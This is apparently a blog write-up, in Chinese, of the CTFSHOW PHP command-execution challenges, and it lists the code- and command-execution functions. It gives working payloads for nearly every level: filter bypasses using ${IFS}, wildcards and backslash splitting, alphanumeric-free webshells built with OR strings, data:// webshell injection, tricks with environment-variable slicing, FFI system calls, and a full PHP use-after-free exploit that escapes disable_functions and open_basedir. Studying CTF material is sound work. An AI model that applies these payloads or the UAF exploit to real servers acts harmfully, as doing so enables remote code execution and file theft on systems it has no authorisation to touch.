PHP中的代码执行与命令执行
#PHP中的命令执行与代码执行
最近在复习之前学过得知识点。因为之前是0基础来学习的,所以很多东西可能是没有弄懂的。现在重新回顾一下命令执行这一块。学到了不少的知识。
命令执行与代码执行
在PHP中我们首先要搞清楚什么是代码执行,什么是命令执行。
通俗一点讲,代码执行是执行PHP代码。命令执行是执行linux系统下的命令。
这两者是有区别的。有些代码在php下看起来是有错的,但是在linux下是正确的。
在下面的文章里遇到了再分析。
常见的代码执行函数
在PHP中,允许我们自行传入php代码并执行。一般我们常用的有以下几种:
1.eval($string):
把参数中的字符串当做php代码执行。该字符串必须是合法的代码,且必须以分号结尾。
这里强调了合法代码和分号结尾。
我们可以理解为eval()执行了一个相当于为$string添加php短标签的功能即 <?php $string
当不能使用分号时,可以利用?>来代替。因为php语法中,最后一句php代码可以不闭合。
#这里需要格外指出,eval()是一个语言构造器而不是一个函数,不能被可变函数调用。
-------------------------------------------------------------------------------------------------------------------
2.assert($assertion):
如果assertion是字符串,那么将会被assert()当作php代码执行。且可以不以分号结尾。
#在PHP7以前assert是作为函数。PHP7以后,assert与eval一样。都是语言构造器。这个知识点可能会出现在$_POST[1]($_POST[2])中
-------------------------------------------------------------------------------------------------------------------
3.call_user_func($func,$string):
该函数用于函数调用。我们第一个参数作为调用函数,第二个作为回调函数的参数。算不上代码执行。只能说是一个危险函数。
常见的命令执行函数:
在PHP中,允许我们执行系统程序命令。一般有以下函数:
1.system():
执行一个外部程序命令,并且输出执行结果,返回最后一行。
#这里理解一下输出执行结果,返回最后一行。是指先将命令执行的结果打印出来,然后再将最后一行作为返回值。
#可以理解为它函数内部存在一个 print($result);return last->result;这样子。
#如果命令中需要用空格分开的话,就需要对执行的命令加上引号。
-------------------------------------------------------------------------------------------------------------------
2.exec():
执行一个外部程序。并返回执行结果最后一行的内容。
#这里只返回执行结果的最后一行内容。不会有输出打印。
-------------------------------------------------------------------------------------------------------------------
3.passthru():
执行外部程序并且显示原始输出
-------------------------------------------------------------------------------------------------------------------
4.shell_exec():该函数等价于 ` `
通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
#该函数不会显示执行结果。需要加echo才会打印输出结果。``是shell_exec()的简化形式。实际是同一个函数。
-------------------------------------------------------------------------------------------------------------------
linux中用于打开文件的函数:
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
某些常用的绕过姿势:
空格的绕过:
1.%09
2.重定向 <>
3.${IFS}
4./**/ 注释符
某些字符串被过滤:
1.cat--> ca\t
2.flag-->fl\ag-->fla''g
3.f*-->fla?????
CTFSHOW 命令执行
web 29:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
#payload:?c=system(cat f*);
没什么好说的。过滤了flag.但是随便绕。举个栗子。
在linux系统中:
ca\t f''lag.php == cat flag.php
ca\t f\lag.php == cat flag.php
没什么好说的
web 30:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
#payload:?c=passthru('cat f*');
过滤了system,用passthru代替。
web 31:空格过滤
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
#payload:?c=passthru('more%09f*');
空格被过滤了。使用%09代替。也可以使用
web 32-35:分号过滤
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
#payload:?c=include"$_GET[1]"?>&1=php://filter/convert.base64-encode/resource=flag.php
###web 33:过滤了单双引号
#payload:?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
###web 34:过滤了:
#payload:?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
###web 35:
#payload:?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
###web 36:过滤了数字
#payload:?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
本题因为分号被过滤了。因此我们采用?>闭合。并且php中有许多不用括号的函数。因此这里我们利用这个include并结合文件包含的漏洞
web 37,38:文件包含
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
#payload:
GET:?c=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pPz4=
POST:1=system("cat flag.php");
很明显的文件包含执行PHP代码。因为过滤了flag因此我们不能使用filter协议。
那么采用data协议写马。
web 39:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
#payload:?c=data://text/plain;base64,<?php system("cat f*")?>
这里在c后面添加了.php但是我们的代码中已经闭合。有没有这个.php影响都不大
web 40:无参RCE
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
#payload:?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
Localeconv() | 返回包含本地数字及货币格式信息的数组 | 该函数的第一个值就是"." |
Cuurent() | 返回数组中当前元素的值 | |
Next() | 指针指向下一个元素并且输出 | |
Array_reverse() | 以相反的顺序返回数组 | |
Print_r() | 打印变量 | |
Higlight_file | 高亮显示文件,没什么好说的 | |
Show_source | 跟highlight_file一样的效果。 | |
Array_reverse | 倒序数组 | |
Array_rand | 随机取出数组中的一个或多个单元 | |
Array_filp | 交换数组的键和值 | |
Readfile | 读文件 | |
sessionid() | 返回当前会话ID | |
scandir(directory,sorting_order,context) | 以数组形式返回文件和目录 | 第一个参数是目录,第二个是排序方式 |
pos | 取第一个值 |
web 41:无字母数字webshell之 或 构造
这题没什么好说的。ban了异或和取反。留了或。那么利用或构造即可.
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
#payload:c='');('%13%19%13%14%05%0D'|'%60%60%60%60%60%60')(('%03%01%14'|'%60%60%60').' '.('%06%0C%01%07%02%10%08%10'|'%60%60%60%60%2C%60%60%60'));//
首先我们需要拼接这个$c,进而完成php语句的构建。先拼接一个echo (' ');shell;//);
再把中间的shell换成我们的构造的system('cat flag.php')
这里需要注意的是用 . 连接就转成了字符串。就不用我们额外构造了。
贴个大佬的构造脚本
<?php
$payload = 'flag.php';//待构造的字母
$length = strlen($payload);
$a = '';
$b = '';
$flag = 0;
echo '<br>';
for ($l = 0; $l < $length; $l++) {
$flag=0;
for ($i = 1; $i < 256; $i++) {
if(preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i',chr($i))) continue;
for ($j = 1; $j < 256; $j++) {
if(preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i',chr($j))) continue;
if ((chr($i) | chr($j)) === $payload[$l]) {
echo urlencode(chr($i));
$a=$a.urlencode(chr($i));
echo '|';
echo urlencode(chr($j));
$b=$b.urlencode(chr($j));
echo '=' . $payload[$l];
echo "<br>";
$flag=1;
break;
}
}
if($flag===1){
break;
}
}
}
echo $a.'|'.$b;
web 42:取消回显
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
#payload:?c=cat flag.php;
>/dev/null 2>1&1 是没有回显的意思。既然这样我们直接将语句分割开即可。
在Linux中有以下可用于分割语句:
; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行
也可以利用php的%0a进行换行处理。
web 43~52:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
#payload:?c=nl flag.php||
###web 44:多过滤了flag
#payload:?c=nl fla\g.php||
###web 45:多过滤了空格,用%09绕过
#payload:?c=nl%09fla\g.php||
###web 46:多过滤了$,数字,*
#payload:?c=nl<fla\g.php||
###web 47:多过滤了几个more tac
#payload:?c=nl<fla\g.php||
###web 48:多过滤了awk,sed,cut,od,curl
#payload:?c=nl<fla\g.php||
###web 49:通杀了
#payload:?c=nl<fla\g.php||
###web 50:通杀了
#payload:?c=nl<fla\g.php||
###web 51:
#payload:?c=nl<fla\g.php||
###web 52:多过滤重定向了,换个姿势。
#payload:?c=nl${IFS}fla\g.php||
web 53:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
#payload:?c=nl${IFS}fla\g.php
刚刚还在拿上一题的打,突然发现换题目了。换了,但没完全换。把||去掉就出flag了。
我自己试了试。发现 || 使用的过程中必须存在前两两条命令。问题不大
web 54:ban了很多
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
#payload:?c=vi${IFS}????????
这题ban了太多了。且不允许我们拼接了。但是问题不大。我们还有vim,vi,uniq.
web 55:匹配符的妙用
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
可以看到这里没有过滤空格。但是ban了字母分号反单引号,重定向。主要是没了字母我们无法构造命令了。
这里学学姿势吧.
姿势一:首先我们了解下bin目录下会存放我们可以使用的命令。既然没有了字母,我们找一些带数字的命令执行
#payload1:?c=/???/????64 ???????? --->匹配后是:?c=/bin/base64 flag.php
姿势二:/usr/bin目录下有一个bzip2压缩命令。与一些应用软件工具的必备执行档。
#payload2:?c=/???/???/????2 ???????? --->匹配后是:?c=/usr/bin/bzip2 flag.php 会生成一个flag.php.bz2的文件
#之后访问这个文件即可
姿势三:无字母数字的webshell提高篇(P神)
太🐂了这篇文章。膜拜
.命令,source命令在linux下的用用法为
使用source <文件名> 用当前的shell执行一个文件中的命令
如图所示。我的flag.php里内容是 cat test.txt 。 test.txt里的内容是hello world!
那么现在我们有. 了。这个时候再利用PHP的一个特性。
我们POST一个文件后,该文件会被保存到/tmp/phpXXXXXX 文件后六位是随机的大小写字母。我们可以用通配符,不影响。
但是在我们的Linux中有很多这样的文件。那么我们又该如何精准定位到我们上传的这个文件呢?
在LINUX中通配符除了*?还有其它的用法。
如/???/???[-]?????? 表示第三个位置是-
并且我们再利用一个[@-]] 其中@表示ascii值64,[表示91.那么就可以读到大写字母了
那么我们现在上传一个文件。然后利用该方法达到命令执行。因为最后一个数是随机的,因此可以多尝试几次。
web 56:无字母数字webshell
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
这一题把数字也ban了。那么上面的两个payload没法用了。只能用最后一个。
web 57:LINUX数字构造
<?php
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
很明显知道flag在36.php.那么我们构造c=36即可。
在LINUX下:
$(())=0
$((~$(())))=-1
为了方便理解。我们把-1设为a.即a=$((~$(())))=-1
那么$((aaaa))=-4 即这个表达式里面是默认加的
$((~$((aaaa))))=3 取反减1了。
那么我们直接构造37个a
payload:
$((~$((aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa))))
再将a替换成$((~$(())))
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
拿到flag。
web 58:disable_functions绕过
<?php
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
#payload:c=show_source('/var/www/html/flag.php');
###web 59:
#payload:c=show_source('/var/www/html/flag.php');
###web 60:
#payload:c=show_source('/var/www/html/flag.php');
###web 61:
#payload:c=show_source('/var/www/html/flag.php');
###web 63:
#payload:c=show_source('/var/www/html/flag.php');
###web 64:
#payload:c=show_source('/var/www/html/flag.php');
###web 65:
#payload:c=show_source('/var/www/html/flag.php');
###web 66:ban了 show_source
#payload:c=print_r(scandir("../../../"));
#payload:c=highlight_file("/flag.txt");
###web 67:
#payload:c=highlight_file("/flag.txt");
###web 68:ban了更多了,这里利用文件包含漏洞。txt可以直接包含。php用伪协议。
#paylaod:c=include("/flag.txt");
###web 69:
#paylaod:c=include("/flag.txt");
###web 70:
#paylaod:c=include("/flag.txt");
拿到题目我以为??就这??直接一个system("ls").发现system被ban了。
发现我最上面列的都被ban了。phpinfo也被Ban了。
但是,这不是我们的一句话木马吗?那直接连接蚁剑上号即可。
预期解法:
因为我们不能利用命令执行去读取文件了。因此我们只能利用php的代码执行去读文件。常见的php读文件有
1. highlight_file()
2. file_get_contents()
3. show_source()
4. fgets()
5. file()
6. readfile()
其它姿势:
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
copy("flag.php","flag.txt");
rename("flag.php","flag.txt");
web 71:提前终止
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
#payload:include("/flag.txt");die;或者include("/flag.txt");exit();
还是用上面的payload通,发现字母数字全部被替换成了?。这时候我们可以提前终止执行。
web 72:绕过open_dir和disabled_functions.glob://伪协议
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
open_basedir():限定用户的访问目录为参数里的目录。
glob:伪协议
查找匹配的文件路径模式
例:
<?php
// 循环 ext/spl/examples/ 目录里所有 *.php 文件
// 并打印文件名和文件尺寸
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>
那么我们要打印根目录所有文件:
#c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f."||";}exit();
可以看到flag文件为flag0.txt。但是我们依然不能使用include("/flag0.txt"); 因为open_basedir()的存在,限定了我们的访问目录。
利用蚁剑插件或者脚本绕过open_basedir()和disabled_function():
<?php
pwn("uname -a");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg =str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
web 73:
本题没有了open_basedir的限制
#payload:c=include("/flagc.txt");exit();
web 74:
#payload:c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f."||";}exit();
#payload:c=include("/flagx.txt");exit();
web 75,76:通过数据库load_file函数绕过open_basedir的限制
#payload:c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f."||";}exit();
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');//连接数据库
foreach($dbh->query('select load_file("/flag36.txt")') as $row)//利用load_file加载文件flag36.txt
{echo($row[0])."|"; }$dbh = null;}
catch (PDOException $e) {echo $e->getMessage();exit(0);}
exit(0);
这个姿势也太神奇了。但是首先得拿到数据库得配置文件。
web 77:FFI读取文件(PHP>=7.4)
#payload:c=$ffi=FFI::cdef("int system(char *command);", "libc.so.6");$a='/readflag > 1.txt';$ffi->system($a);exit();
FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a=''cat /flag36x.txt > 1.txt';//因为没有回显
$ffi->system($a);//通过$ffi去调用system函数
但是flag36x.txt是空的。那么我们执行readflag命令吧。
web 118:Linux下环境变量的妙用
如图所示:
本题过滤了小写字母。那么我们利用切片技术来构造我们的Payload。可以看出~大写字母取最后一位。
加上Hint里面的这张图。当前目录在题目中肯定是${PWD}=/var/www/html. 而${PATH}一般都是以bin结尾,那么构造nl flag.php
#payload:${PATH:~A}${PWD:~A} ????.???
web 119,120:Linux下环境变量的妙用
本题禁用了${PATH}因此我们需要寻找其它代替。
在LINUX下 ${#变量} 代表的是变量值的长度。如${#$a} a=12345。那么${#$a}=5。可以理解为strlen函数同效果。
${SHLVL} 的值一般为1.那么${#${SHLVL}}=1
${RANDOM}:返回0~32767的一个随机数,其中4位数和5位数的概率更大。那么${#RANDOM}=4或5的概率更大。
那么我们采用上面的匹配命令进行盲打。
#payload:${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
=>/bin/base64 flag.php 可能需要多试几次,因为这个random吐出4是随机的。
web 121:SHLVL过滤了
在linux下。${#?}=1
#payload1:${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???
#payload2:${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
因为这里${#IFS}是一个空格符,tab字符,换行符。那么长度为.即${PWD:3:1}而PWD下/var/www/html。
那么刚好匹配到r。再利用rev flag.php 文件中每行逆序输出
web 122:过滤了PWD
#payload:code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
yu师傅说${}的报错在本地返回时1,但是题目环境是2,所以放开了<
<A的报错返回也是1,所以就成功得到了数字1,至于数字4拿RANDOM随机就可以了。
web 124:CISCN 2019 LOVE MATH
国赛的一道原题。核心考点是无字母数字的webshell和数学函数的利用。
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
首先我们要构造的是system("cat /f*");
然后因为白名单里只有数学函数。那么我们尝试构造c=$_GET[a]$_GET[b]的形式达到RCE。
那么先构造_GET.因为数学函数是允许的,我们利用一个hex2bin来将_GET用十六进制表示出来。
_GET=hex2bin(5f474554)
但是我们的hex2bin又不在所给的函数范围内。那么我们继续寻找是否存在可利用的函数,将hex2bin加密解码。我们看到一个base_convert函数。那么可以进行一个转换。
在进制转换中找到只有36进制的才不会转码后的丢失。那么我们利用base_convert(10,36)
即payload:base_convert(37907361743,10,36)(5f474554)-->hex2bin(5f474554)--->_GET
因为5f474554是不能直接匹配的。那么我们还需要一个函数dechex(1598506324)=5f474554
#payload:?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{max}($$pi{min});&max=system&min=cat flag.php